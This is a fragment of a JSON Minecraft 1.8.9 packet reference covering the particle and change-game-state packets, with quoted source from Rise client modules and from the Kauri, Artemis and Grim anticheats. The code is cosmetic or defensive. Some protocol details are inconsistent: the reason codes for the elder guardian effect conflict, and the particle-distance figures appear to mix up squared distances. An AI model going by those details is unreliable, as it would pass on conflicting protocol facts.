    "general_hooks": "Every handler sits on the packet receive path: Memeware PacketInEvent, Tenacity and Rise 6.x PacketReceiveEvent, Sigma EventPacket, Rise security chain handle(Packet).",
    "client_variations": "Memeware cancels via event.cancel() on a custom bus. Rise 6.x components and security features use event.setCancelled() or pipeline drop. Sigma returns early inside a single handler. Tenacity combines cancel with a per-second packet counter shared across crash vectors.",
    "related": [
     "S29PacketSoundEffect",
     "S27PacketExplosion",
     "S2BPacketChangeGameState"
    ],
    "anticheat": {
     "overview": "The particle packet is the one clientbound cosmetic packet that anticheats actively generate. Kauri, FlopAC, Artemis, Daedalus and intave all construct and send S2A (or its PacketEvents equivalent) to draw debug overlays: hitbox cuboids, rays and collision boxes during testing and at flag time. Artemis additionally ships a full read/write wrapper so the packet can be parsed and re-emitted by its pipeline. No anticheat flags S2A as a cheat signal; the corpus treats it as an output channel, not an input.",
     "checks": [
      {
       "name": "Debug particle visualization (Kauri / FlopAC / Daedalus / intave)",
       "found_in": [
        "funkemunky-KauriV3",
        "JTXOfficial-FlopAC",
        "funkemunky-Daedalus",
        "intave-intave"
       ],
       "purpose": "Render hitboxes, rays and collision boxes to the player's screen by sending particle packets, so staff and developers can see exactly what a check computed.",
       "how_it_works": "Kauri's Helper.drawRay and drawCuboid build a WrapperPlayServerParticle (the PacketEvents S2A equivalent) with the ray or box edge positions and send it to the player. FlopAC's MiscUtils does the same through its own WrappedPacketPlayOutWorldParticle wrapper, and its collision box types each implement a draw() that emits particles along their edges. Daedalus submits particle drawing for bounding boxes to a thread pool, and intave spawns villager-happy particles at waypoints via Bukkit spawnParticle, rate-limited per position. The packets are fired on flag, in debug mode, or from dedicated reveal handlers.",
       "detects": "Nothing on its own. The visualization is an operator aid layered on top of reach, hitbox and phase checks; it exposes the geometry those checks reason about.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/utils/Helper.java =====\npackage dev.brighten.ac.utils;\n\nimport com.github.retrooper.packetevents.protocol.particle.Particle;\nimport com.github.retrooper.packetevents.protocol.particle.type.ParticleType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3f;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerParticle;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.handler.entity.TrackedEntity;\nimport dev.brighten.ac.utils.world.BlockData;\nimport dev.brighten.ac.utils.world.CollisionBox;\nimport dev.brighten.ac.utils.world.EntityData;\nimport dev.brighten.ac.utils.world.types.RayCollision;\nimport dev.brighten.ac.utils.world.types.SimpleCollisionBox;\nimport org.bukkit.util.Vector;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Iterator;\nimport java.util.List;\n\n\n/**\n * @author DeprecatedLuke\n * Taken from <a href=\"https://github.com/DeprecatedLuke/fireflyx/blob/master/src/main/java/com/ngxdev/anticheat/utils/Helper.java\">...</a>\n */\npublic class Helper {\n\n    public static Vector vector(double yaw, double pitch) {\n        Vector vector = new Vector();\n        vector.setY(-Math.sin(Math.toRadians(pitch)));\n        double xz = Math.cos(Math.toRadians(pitch));\n        vector.setX(-xz * Math.sin(Math.toRadians(yaw)));\n        vector.setZ(xz * Math.cos(Math.toRadians(yaw)));\n        return vector;\n    }\n\n    public static void drawRay(RayCollision collision, double distance, ParticleType<?> particle, Collection<? extends APlayer> players) {\n        for (double i = 0; i < distance; i += 0.2) {\n            float fx = (float) (collision.originX + (collision.directionX * i));\n            float fy = (float) (collision.originY + (collision.directionY * i));\n            float fz = (float) (collision.originZ + (collision.directionZ * i));\n\n            WrapperPlayServerParticle packet = new WrapperPlayServerParticle(new Particle<>(particle), false,\n                    new Vector3d(fx, fy, fz), new Vector3f(0, 0, 0),  0f, 1);\n\n            for (APlayer p : players) {\n                p.writePacketSilently(packet);\n            }\n        }\n    }\n\n\n    public static void drawCuboid(SimpleCollisionBox box, ParticleType<?> particle, Collection<? extends APlayer> players) {\n        Step.GenericStepper<Float> x = Step.step((float) box.minX, 0.241F, (float) box.maxX);\n        Step.GenericStepper<Float> y = Step.step((float) box.minY, 0.241F, (float) box.maxY);\n        Step.GenericStepper<Float> z = Step.step((float) box.minZ, 0.241F, (float) box.maxZ);\n\n        for (float fx : x) {\n            Iterator<Float> var8 = y.iterator();\n\n            label61:\n            while (var8.hasNext()) {\n                float fy = var8.next();\n                Iterator<Float> var10 = z.iterator();\n\n                while (true) {\n                    float fz;\n                    int check;\n                    do {\n                        if (!var10.hasNext()) {\n                            continue label61;\n                        }\n\n                        fz = var10.next();\n                        check = 0;\n                        if (x.first() || x.last()) {\n                            ++check;\n                        }\n\n                        if (y.first() || y.last()) {\n                            ++check;\n                        }\n\n                        if (z.first() || z.last()) {\n                            ++check;\n                        }\n                    } while (check < 2);\n\n                    WrapperPlayServerParticle packet = new WrapperPlayServerParticle(new Particle<>(particle), false,\n                            new Vector3d(fx, fy, fz), new Vector3f(0, 0, 0), 0f, 1);\n\n                    for (APlayer p : players) {\n                        p.sendPacket(packet);\n                    }\n                }\n            }\n        }\n\n    }\n\n    public static List<SimpleCollisionBox> getCollisions(APlayer player, SimpleCollisionBox collisionBox) {\n        return getCollisions(player, collisionBox, -100);\n    }\n\n    public static List<SimpleCollisionBox> getCollisions(APlayer player, SimpleCollisionBox collisionBox, int mask) {\n        List<SimpleCollisionBox> collisionBoxes = getCollisionsNoEntities(player, collisionBox, mask);\n\n        if(player != null) {\n            for (TrackedEntity entity : player.getInfo().getNearbyEntities()) {\n                if (!BlockUtils.isEntityCollidable(entity)) continue;\n\n                CollisionBox entityCollisionBox = EntityData.getEntityBox(entity.getLocation()\n                        .toLocation(player.getBukkitPlayer().getWorld()), entity);\n\n                if (entityCollisionBox.isIntersected(collisionBox))\n                    entityCollisionBox.downCast(collisionBoxes);\n            }\n        }\n\n        return collisionBoxes;\n    }\n\n    public static List<SimpleCollisionBox> getCollisionsNoEntities(APlayer player,\n                                                                   SimpleCollisionBox collisionBox, int mask) {\n        int x1 = (int) Math.floor(collisionBox.minX);\n        int y1 = (int) Math.floor(collisionBox.minY);\n        int z1 = (int) Math.floor(collisionBox.minZ);\n        int x2 = (int) Math.floor(collisionBox.maxX + 1);\n        int y2 = (int) Math.floor(collisionBox.maxY + 1);\n        int z2 = (int) Math.floor(collisionBox.maxZ + 1);\n        List<SimpleCollisionBox> collisionBoxes = new ArrayList<>();\n        for (int x = x1; x < x2; ++x)\n            for (int y = y1 - 1; y < y2; ++y)\n                for (int z = z1; z < z2; ++z) {\n                    Vector3i vec = new Vector3i(x, y, z);\n                    StateType type = player.getWorldTracker().getBlock(vec).getType();\n\n                    if (type != StateTypes.AIR && (mask == -100 || Materials.checkFlag(type, mask))) {\n                        CollisionBox box = BlockData.getData(type)\n                                .getBox(player, vec, player.getPlayerVersion());\n\n                        if (box.isIntersected(collisionBox)) {\n                            box.downCast(collisionBoxes);\n                        }\n                    }\n                }\n\n        return collisionBoxes;\n    }\n\n    private static final int[] decimalPlaces = {0, 10, 100, 1000, 10000, 100000, 1000000,\n            10000000, 100000000, 1000000000};\n\n    public static double format(double d, int dec) {\n        return (long) (d * decimalPlaces[dec] + 0.5) / (double) decimalPlaces[dec];\n    }\n}\n\n// NOTE (AI): drawRay and drawCuboid are the S2A emission paths; they appear in the S2A corpus because anticheats build particle packets themselves rather than reading them.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/utils/Helper.java",
       "variations": "FlopAC MiscUtils.drawRay/drawCuboid mirror Kauri's Helper with its own tinyprotocol wrapper. Daedalus CollisionAssessment sends flame particles for bounding boxes. intave Particles.spawnVillagerHappyParticleAt rate-limits waypoint particles. Artemis BoundingUtil.drawBox uses its GPacketPlayServerWorldParticles wrapper for the same purpose."
      },
      {
       "name": "World particles wrapper (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Give Artemis a full read/write wrapper for the world-particles packet so the pipeline can parse inbound S2A and re-emit particle packets for debug drawing.",
       "how_it_works": "GPacketPlayServerWorldParticles implements ReadableBuffer and WriteableBuffer. read() parses the particle type (with a BARRIER fallback on a bad id), the long-distance flag, position, offsets, speed, count and the per-type argument array; write() serializes them back, negating particle arguments on the wire. BoundingUtil.drawBox builds one of these packets per box edge to render debug bounding boxes, and the ProtocolGeneratorDirect registers the class in the generated protocol.",
       "detects": "Nothing. The wrapper is bidirectional plumbing: inbound parsing feeds the packet pipeline, outbound construction powers the debug-box renderer.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerWorldParticles.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerBed;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerWorldParticles;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport cc.ghast.packet.wrapper.bukkit.Particle;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\nimport cc.ghast.packet.wrapper.packet.WriteableBuffer;\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.UUID;\n\n@Getter\n@Setter\n@PacketLink(PacketPlayServerWorldParticles.class)\npublic class GPacketPlayServerWorldParticles extends GPacket implements PacketPlayServerBed, ReadableBuffer, WriteableBuffer {\n    public GPacketPlayServerWorldParticles(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutWorldParticles\", player, version);\n    }\n\n    public GPacketPlayServerWorldParticles(String realName, UUID player, ProtocolVersion version, Particle type,\n                                           float x, float y, float z, float offsetX, float offsetY, float offsetZ,\n                                           float particleSpeed, int particleCount, boolean longDistance) {\n        super(realName, player, version);\n        this.type = type;\n        this.x = x;\n        this.y = y;\n        this.z = z;\n        this.offsetX = offsetX;\n        this.offsetY = offsetY;\n        this.offsetZ = offsetZ;\n        this.particleSpeed = particleSpeed;\n        this.particleCount = particleCount;\n        this.longDistance = longDistance;\n    }\n\n    private Particle type;\n    private float x;\n    private float y;\n    private float z;\n    private float offsetX;\n    private float offsetY;\n    private float offsetZ;\n    private float particleSpeed;\n    private int particleCount;\n    private boolean longDistance;\n    /**\n     * These are the block/item ids and possibly metaData ids that are used to color or texture the particle.\n     */\n    private int[] particleArguments;\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n        try {\n            this.type = Particle.values()[byteBuf.readInt()];\n        } catch (Exception e) { }\n\n\n        if (this.type == null) {\n            this.type = Particle.BARRIER;\n        }\n\n        this.longDistance = byteBuf.readBoolean();\n        this.x = byteBuf.readFloat();\n        this.y = byteBuf.readFloat();\n        this.z = byteBuf.readFloat();\n        this.offsetX = byteBuf.readFloat();\n        this.offsetY = byteBuf.readFloat();\n        this.offsetZ = byteBuf.readFloat();\n        this.particleSpeed = byteBuf.readFloat();\n        this.particleCount = byteBuf.readInt();\n\n        final int size = this.type.getArgumentCount();\n        this.particleArguments = new int[size];\n\n        for (int j = 0; j < size; ++j) {\n            this.particleArguments[j] = byteBuf.readVarInt();\n        }\n    }\n\n    @Override\n    public void write(ProtocolByteBuf byteBuf) {\n        byteBuf.writeInt(this.type.getParticleID());\n        byteBuf.writeBoolean(this.longDistance);\n        byteBuf.writeFloat(this.x);\n        byteBuf.writeFloat(this.y);\n        byteBuf.writeFloat(this.z);\n        byteBuf.writeFloat(this.offsetX);\n        byteBuf.writeFloat(this.offsetY);\n        byteBuf.writeFloat(this.offsetZ);\n        byteBuf.writeFloat(this.particleSpeed);\n        byteBuf.writeInt(this.particleCount);\n        final int size = this.type.getArgumentCount();\n\n        for (int j = 0; j < size; ++j) {\n            byteBuf.writeVarInt(-this.particleArguments[j]);\n        }\n    }\n}\n\n// NOTE (AI): The write() path negates particle arguments when serializing, a quirk of the 1.8 wire format for block and item particle data.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerWorldParticles.java",
       "variations": "Artemis also maps SERVER_PLAY + 93 to PacketPlayServerWorldParticles in its repository. FlopAC's WrappedPacketPlayOutWorldParticle covers the same packet for its 1.8 base, and Kauri uses PacketEvents' WrapperPlayServerParticle directly."
      }
     ]
    }
   },
   "wiki_notes": [
    "The long-distance flag extends particle visibility from 256 blocks to 65536 blocks, and the offset fields are spread with gaussian random values around the source position.",
    "MCP 1.8.9 S2APacketParticles implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleParticles; wire serde is readPacketData/writePacketData via readBoolean, readFloat, readInt, readVarIntFromBuffer.",
    "1.8.9 callers: WorldServer.spawnParticle sends new S2APacketParticles (line 1149): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2APacketParticles/",
   "mcp_path": "net/minecraft/network/play/server/S2APacketParticles.java",
   "group": "play-client",
   "logic_classes": [
    "WorldServer"
   ]
  },
  {
   "id": "S2BPacketChangeGameState",
   "hex": "0x2B",
   "dec": 43,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Change Game State",
   "desc": "Changes a global game state: rain toggle, gamemode change, credits, demo messages, elder guardian effect.",
   "tags": [
    "world",
    "gamemode",
    "weather"
   ],
   "fields": [
    {
     "name": "reason",
     "type": "unsigned byte",
     "desc": "Reason code: 0=invalidBed, 1=endRain, 2=beginRain, 3=changeGamemode, 4=credits, 5=demo, 6=arrow, 7=fadeValue, 8=fadeTime, 9=elderGuardian"
    },
    {
     "name": "value",
     "type": "float",
     "desc": "Value associated with reason (gamemode ID, rain strength, fade value)"
    }
   ],
   "encoding": [
    [
     "Reason",
     "Unsigned Byte",
     "0=invalidBed, 1=endRain, 2=beginRain, 3=changeGamemode, 4=credits, 5=demo, 6=arrow, 7=fade, 8=fadeTime, 9=elderGuardian"
    ],
    [
     "Value",
     "float",
     "Reason-dependent"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleChangeGameState()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Reason 0: bed can't be set (respawn). Reason 1/2: rain toggle. Reason 3: gamemode change (value=0-3). Reason 4: credits. Reason 5: demo. Reason 6: arrow hitting entity. Reason 7/8: fade values. Reason 9: elder guardian effect.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "A two-field state toggle: an unsigned byte reason and a float value. It is the server's mechanism for global client state that has no dedicated packet: rain start/stop and strength, gamemode changes, the end-game credits screen, the demo screen and its help messages, arrow-hit feedback, and the elder guardian mob-appearance effect. EntityPlayerMP sends reason 4 on end-game and reason 3 with the new GameType ID on gamemode change; WorldServer and ServerConfigurationManager drive reasons 1, 2, 7 and 8 for weather."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleChangeGameState switches on the reason. Reason 1 sets raining true, 2 sets raining false, 3 calls playerController.setGameType(GameType.getByID(value)), 4 opens GuiWinGame, 5 routes the demo screen (value 0) or demo help messages (101/102/103), 6 plays the successful-hit sound, 7 sets rain strength, 8 sets thunder strength, 10 spawns the mob-appearance particle and guardian curse sound. Reasons with a MESSAGE_NAMES entry also push a translated chat line."
     },
     {
      "h": "Why clients touch it",
      "p": "Two Rise 6.x handlers, both defensive. Ambience, a render module, cancels reasons 1 and 2 whenever the user has forced a custom weather mode, so server rain toggles cannot override the client's chosen sky. DemoCheck, a security feature, drops reason 5 with value 0, which is the demo-mode screen: a malicious or griefing server can lock a player into the demo overlay, and the check removes that lever. No client in the corpus uses this packet for AutoGG-style game-end detection; reason 4 is ignored everywhere."
     },
     {
      "h": "Exploit surface",
      "p": "The demo screen (reason 5, value 0) is the abuse vector: it swaps the HUD and movement handling to demo mode, which hostile servers use to grief players. Rain reasons are a nuisance vector on weather-cycling servers, which is exactly why Ambience filters them. Reason 3 gamemode changes are server-authoritative and no client in the corpus fights them; overriding setGameType client-side desyncs the player controller and is a known crash/flag source, which is why it is absent."
     }
    ],
    "overview": "The catch-all state toggle: rain, gamemode, credits, demo, arrow feedback, guardian effect. The 8 clients use it only defensively: Rise 6.x Ambience filters rain toggles under forced weather, and Rise 6.x DemoCheck kills the demo-screen lockout. No game-end (credits) detection exists in this corpus.",
    "server_handling": "Server senders: WorldServer.updateWeather sends reason 7/8 (strengths) per dimension and reason 1/2 (rain stop/start) globally; ServerConfigurationManager sends reason 1 plus 7/8 on player join; EntityPlayerMP sends 4 on end-game and 3 with GameType.getID on gamemode change; EntityArrow sends 6 to the shooter on a successful hit; EntityGuardian sends 10 on the elder guardian effect; DemoWorldManager sends 5 with 0/101/102/103. The client handler applies each reason directly to client world state, with no validation of value ranges.",
    "protocol_notes": "Encoding: unsigned byte reason, float value. The value is only meaningful for reasons 3 (gamemode id), 5 (demo sub-state), 7 and 8 (weather strengths). Reasons 0, 4, 6, 9, 10 carry value 0.0F. MESSAGE_NAMES maps reasons 1, 3, 4, 5 to chat translations, so some reasons produce both a state change and a chat line. Reason 9 is defined but unused in 1.8.9; reason 10 is the elder guardian variant.",
    "anticheat_landscape": "No anti-cheat measures this packet. Gamemode changes are server-authoritative and instant, so client-side gamemode spoofing is a desync crash rather than a cheat. The defensive angle is server trust: DemoCheck exists because a hostile server can emit reason 5 to disable normal gameplay, and Ambience exists because weather packets fight user-selected ambience. Both are filters on server-controlled state, not evasions.",
    "modules": [
     {
      "name": "Ambience (weather override)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Force a chosen weather and stop server rain toggles from overriding it.",
      "how_it_works": "When the Weather mode is not Unchanged, the PacketReceiveEvent handler cancels every S2B whose reason is 1 or 2 (begin/end rain). A PreMotionEvent branch re-applies the forced state every 20 ticks via WorldInfo setters, and onDisable resets rain strength and weather flags to defaults.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/Ambience.java =====\npackage com.alan.clients.module.impl.render;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.value.impl.ColorValue;\nimport com.alan.clients.value.impl.ModeValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport com.alan.clients.value.impl.SubMode;\nimport lombok.Getter;\nimport net.minecraft.network.play.server.S03PacketTimeUpdate;\nimport net.minecraft.network.play.server.S2BPacketChangeGameState;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.world.biome.BiomeGenBase;\n\nimport java.awt.*;\n\n@Getter\n@ModuleInfo(aliases = {\"module.render.ambience.name\"}, description = \"module.render.ambience.description\", category = Category.RENDER)\npublic final class Ambience extends Module {\n\n    private final NumberValue time = new NumberValue(\"Time\", this, 0, 0, 22999, 1);\n    private final NumberValue speed = new NumberValue(\"Time Speed\", this, 0, 0, 20, 1);\n\n    private final ModeValue weather = new ModeValue(\"Weather\", this) {{\n        add(new SubMode(\"Unchanged\"));\n        add(new SubMode(\"Clear\"));\n        add(new SubMode(\"Rain\"));\n        add(new SubMode(\"Heavy Snow\"));\n        add(new SubMode(\"Light Snow\"));\n        add(new SubMode(\"Nether Particles\"));\n        setDefault(\"Unchanged\");\n    }};\n\n    public final ColorValue snowColor = new ColorValue(\"Snow Color\", this, Color.WHITE,\n            () -> !weather.getValue().getName().equals(\"Heavy Snow\") && !weather.getValue().getName().equals(\"Light Snow\"));\n\n    @Override\n    public void onDisable() {\n        mc.theWorld.setRainStrength(0);\n        mc.theWorld.getWorldInfo().setCleanWeatherTime(Integer.MAX_VALUE);\n        mc.theWorld.getWorldInfo().setRainTime(0);\n        mc.theWorld.getWorldInfo().setThunderTime(0);\n        mc.theWorld.getWorldInfo().setRaining(false);\n        mc.theWorld.getWorldInfo().setThundering(false);\n    }\n\n    @EventLink\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        mc.theWorld.setWorldTime((time.getValue().intValue() + (System.currentTimeMillis() * speed.getValue().intValue())));\n    };\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (mc.thePlayer.ticksExisted % 20 == 0) {\n\n            switch (this.weather.getValue().getName()) {\n                case \"Clear\": {\n                    mc.theWorld.setRainStrength(0);\n                    mc.theWorld.getWorldInfo().setCleanWeatherTime(Integer.MAX_VALUE);\n                    mc.theWorld.getWorldInfo().setRainTime(0);\n                    mc.theWorld.getWorldInfo().setThunderTime(0);\n                    mc.theWorld.getWorldInfo().setRaining(false);\n                    mc.theWorld.getWorldInfo().setThundering(false);\n                    break;\n                }\n                case \"Nether Particles\":\n                case \"Light Snow\":\n                case \"Heavy Snow\":\n                case \"Rain\": {\n                    mc.theWorld.setRainStrength(1);\n                    mc.theWorld.getWorldInfo().setCleanWeatherTime(0);\n                    mc.theWorld.getWorldInfo().setRainTime(Integer.MAX_VALUE);\n                    mc.theWorld.getWorldInfo().setThunderTime(Integer.MAX_VALUE);\n                    mc.theWorld.getWorldInfo().setRaining(true);\n                    mc.theWorld.getWorldInfo().setThundering(false);\n                }\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S03PacketTimeUpdate) {\n            event.setCancelled();\n        } else if (event.getPacket() instanceof S2BPacketChangeGameState && !this.weather.getValue().getName().equals(\"Unchanged\")) {\n            S2BPacketChangeGameState s2b = (S2BPacketChangeGameState) event.getPacket();\n\n            if (s2b.getGameState() == 1 || s2b.getGameState() == 2) {\n                event.setCancelled();\n            }\n        }\n    };\n\n    public float getFloatTemperature(BlockPos blockPos, BiomeGenBase biomeGenBase) {\n        if (this.isEnabled()) {\n            switch (this.weather.getValue().getName()) {\n                case \"Nether Particles\":\n                case \"Light Snow\":\n                case \"Heavy Snow\":\n                    return 0.1F;\n                case \"Rain\":\n                    return 0.2F;\n            }\n        }\n\n        return biomeGenBase.getFloatTemperature(blockPos);\n    }\n\n    public boolean skipRainParticles() {\n        final String name = this.weather.getValue().getName();\n        return this.isEnabled() && name.equals(\"Light Snow\") || name.equals(\"Heavy Snow\") || name.equals(\"Nether Particles\");\n    }\n}\n\n// NOTE (AI): The S2B branch (lines ~90-96) only filters reasons 1 and 2. Time updates are filtered separately via S03PacketTimeUpdate, and the forced weather is re-asserted on a 20-tick cadence to survive server-side refreshes.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/render/Ambience.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, Render3DEvent.",
      "anti_cheat_notes": "Client-only state, invisible to the server. The 20-tick re-assertion matters because the server re-sends rain state on join and on weather ticks; without it the forced weather would flicker.",
      "variations": "Identical file in Rise 6.1.30 under com/alan/clients/module/impl/render/."
     },
     {
      "name": "DemoCheck (security)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Drop the demo-mode packet so a server cannot lock the client into the demo screen.",
      "how_it_works": "A SecurityFeature on the packet receive chain. It drops any S2B where reason is 5 and value is 0, which is exactly the packet DemoWorldManager sends to open GuiScreenDemo. The demo help messages (values 101-103) are not blocked, only the screen-opening state.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/DemoCheck.java =====\npackage com.alan.clients.security.impl;\n\nimport com.alan.clients.security.SecurityFeature;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S2BPacketChangeGameState;\n\npublic final class DemoCheck extends SecurityFeature {\n\n    public DemoCheck() {\n        super(\"Demo Check\", \"Server attempted to prevent gameplay with a demo screen\");\n    }\n\n    @Override\n    public boolean handle(final Packet<?> packet) {\n        if (packet instanceof S2BPacketChangeGameState) {\n            final S2BPacketChangeGameState wrapper = ((S2BPacketChangeGameState) packet);\n\n            return wrapper.getGameState() == 5 && wrapper.func_149137_d() == 0;\n        }\n\n        return false;\n    }\n}\n\n// NOTE (AI): Precise filter: reason 5 with value 0.0F. The value check is what distinguishes the lockout screen from the harmless demo help messages.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/DemoCheck.java",
      "vanilla_hook": "Security pipeline handle(Packet).",
      "anti_cheat_notes": "Server-trust defense, not anti-cheat. Only relevant on servers that abuse the demo state; on legit demo servers it changes nothing user-visible except skipping the overlay.",
      "variations": "Identical file in Rise 6.1.30. No other client in the corpus filters demo state."
     }
    ],
    "general_hooks": "Rise 6.x uses PacketReceiveEvent for module-level filtering (Ambience) and the security handle(Packet) chain for feature-level filtering (DemoCheck).",
    "client_variations": "Both Rise 6.x versions ship identical Ambience and DemoCheck files. Rise 5.99 has no S2B module reference at all; Memeware, Nekoware, Sigma, Spicy and Tenacity only touch the packet in vanilla NetHandlerPlayClient code.",
    "related": [
     "S03PacketTimeUpdate",
     "S2APacketParticles",
     "S01PacketJoinGame"
    ],
    "anticheat": {
     "overview": "Server-side anticheats treat the change-game-state packet as authoritative world metadata, not as a cheat surface. Grim listens on the send path to keep its simulated gamemode and death-screen state transaction-ordered with the client, and feeds the rain reasons into the compensated world; Intave subscribes to the outbound game-state change to track the pending gamemode for its ability metadata. Artemis registers the packet in its wrapper repository. No anticheat uses it to flag the player, because the server controls both the reason and the value.",
     "checks": [
      {
       "name": "GameState send listener (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep Grim's simulated gamemode and death-screen state in sync with server-sent game-state changes.",
       "how_it_works": "PacketSendListener on CHANGE_GAME_STATE. For CHANGE_GAME_MODE it sends a transaction and applies the new gamemode in a real-time task ordered after that transaction, clamping invalid plugin values (below 0 or past the enum) to SURVIVAL and notifying the spectate manager when leaving spectator. For ENABLE_RESPAWN_SCREEN (1.15+) it records whether the death screen is shown.",
       "detects": "Gamemode desync between the server and the simulated player, plugin-sent invalid gamemode ids, and stale death-screen state that would corrupt the menu logic of BadPacketsM.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketChangeGameState.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerChangeGameState;\n\npublic class PacketChangeGameState extends Check implements PacketSendListener {\n    public PacketChangeGameState(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacketType() != PacketType.Play.Server.CHANGE_GAME_STATE) return;\n        WrapperPlayServerChangeGameState packet = new WrapperPlayServerChangeGameState(event);\n\n        switch (packet.getReason()) {\n            case CHANGE_GAME_MODE -> {\n                player.sendTransaction();\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    // Bukkit's gamemode order is unreliable, so go from int -> packetevents -> bukkit\n                    GameMode previous = player.gamemode;\n                    int gamemode = (int) packet.getValue();\n\n                    // Some plugins send invalid values such as -1, this is what the client does\n                    if (gamemode < 0 || gamemode >= GameMode.values().length) {\n                        player.gamemode = GameMode.SURVIVAL;\n                    } else {\n                        player.gamemode = GameMode.values()[gamemode];\n                    }\n\n                    if (previous == GameMode.SPECTATOR && player.gamemode != GameMode.SPECTATOR) {\n                        GrimAPI.INSTANCE.getSpectateManager().handlePlayerStopSpectating(player.uuid);\n                    }\n                });\n            }\n\n            case ENABLE_RESPAWN_SCREEN -> {\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_15)\n                        || event.getServerVersion().isOlderThan(ServerVersion.V_1_15)) return;\n                player.sendTransaction();\n                final boolean enabled = packet.getValue() == 0f;\n                player.addRealTimeTaskNow(() -> player.packetStateData.showsDeathScreen = enabled);\n            }\n        }\n    }\n}\n// NOTE (AI): The gamemode is applied only after a transaction round-trip, which orders the simulated gamemode against the client's own processing. Invalid values are clamped to SURVIVAL rather than flagged.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketChangeGameState.java",
       "variations": "BadPacketsM (same repo) exempts the click-window menu check for one packet when a WIN_GAME reason arrives, since the client closes and reopens its menu on the credits screen. BasePacketWorldReader tracks the rain reasons (BEGIN_RAINING, END_RAINING, RAIN_LEVEL_CHANGE) into compensatedWorld.isRaining for the movement simulation."
      },
      {
       "name": "Gamemode tracking (Intave AbilityTracker)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Track the pending gamemode on outbound game-state changes so ability metadata (flight, speed) matches what the client actually sees.",
